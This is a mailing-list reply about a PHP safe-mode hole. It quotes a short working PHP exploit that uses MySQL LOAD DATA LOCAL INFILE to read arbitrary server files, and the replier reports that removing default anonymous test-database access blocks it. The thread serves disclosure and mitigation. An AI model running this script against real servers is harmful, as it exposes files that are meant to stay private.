I just tested this out on a php/mysql system which we just setup at work. It still had the 'test' database and the anonymous user access for 'test' that comes with the default mysql setup. The first time I tried it I received an error saying 'test_database' not found. I changed $db from 'test_database' to 'test' and the exploit then worked. I then removed all access privileges from the anonymous user to the test database and received the following:
FAILED: USE test REASON: Access denied for user: '@localhost' to database 'test' Seems to me this is just a problem with admins not removing the default test setup from mysql. Can anyone with more experience in php/mysql verify this or explain what simple fact I'm overlooking? I've only been doing php/mysql for a few days so I'm not an expert. cheers brendan hack ps: test database is gone now! Dmitry N. Hramtsov wrote: > Hello! > > You can read it in details at: > http://bugs.php.net/bug.php?id=15375 > > or at: > http://www.security.nnov.ru/search/document.asp?docid=2444 > > Short exploit: > > <? > > /* > PHP Safe Mode Problem > > This script will connect to a database server running locally or otherwise, > create a temporary table with one column, use the LOAD DATA statement to > read a (possibly binary) file, then reads it back to the client. > > Any type of file may pass through this 'proxy'. Although unrelated, this > may also be used to access files on the DB server (although they must be > world-readable or in MySQLd's basedir, according to docs). > */ > > > $host = 'localhost'; > $user = 'root'; > $pass = 'letmein'; > $db = 'test_database'; > > $filename = '/var/log/lastlog'; /* File to grab from [local] server */ > $local = true; /* Read from local filesystem */ > > > $local = $local ? 'LOCAL' : ''; > > $sql = array ( > "USE $db", > > 'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)', > > "LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS " > . "TERMINATED BY '__THIS_NEVER_HAPPENS__' " > . "ESCAPED BY '' " > . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'", > > "SELECT a FROM $tbl LIMIT 1" > ); > > Header ('Content-type: text/plain'); > > mysql_connect ($host, $user, $pass); > > foreach ($sql as $statement) { > $q = mysql_query ($statement); > > if ($q == false) die ( > "FAILED: " . $statement . "\n" . > "REASON: " . mysql_error () . "\n" > ); > > if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue; > > echo $r [0]; > mysql_free_result ($q); > } > > ?> > > Any comments or counsel? > > Maybe debian developers should make a "quick and dirty" fix for this, > because (as I can understand) php developers already knows about this > hole and do still nothing. > > Best regards, > Dmitry N. Hramtsov > > > -- http://www.bendys.com [EMAIL PROTECTED] Real coders celebrate Christmas at Halloween. --------------------------------------------- Prototype replacement signature, let me know what you think: If you're not part of the solution, you're part of the precipitate -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
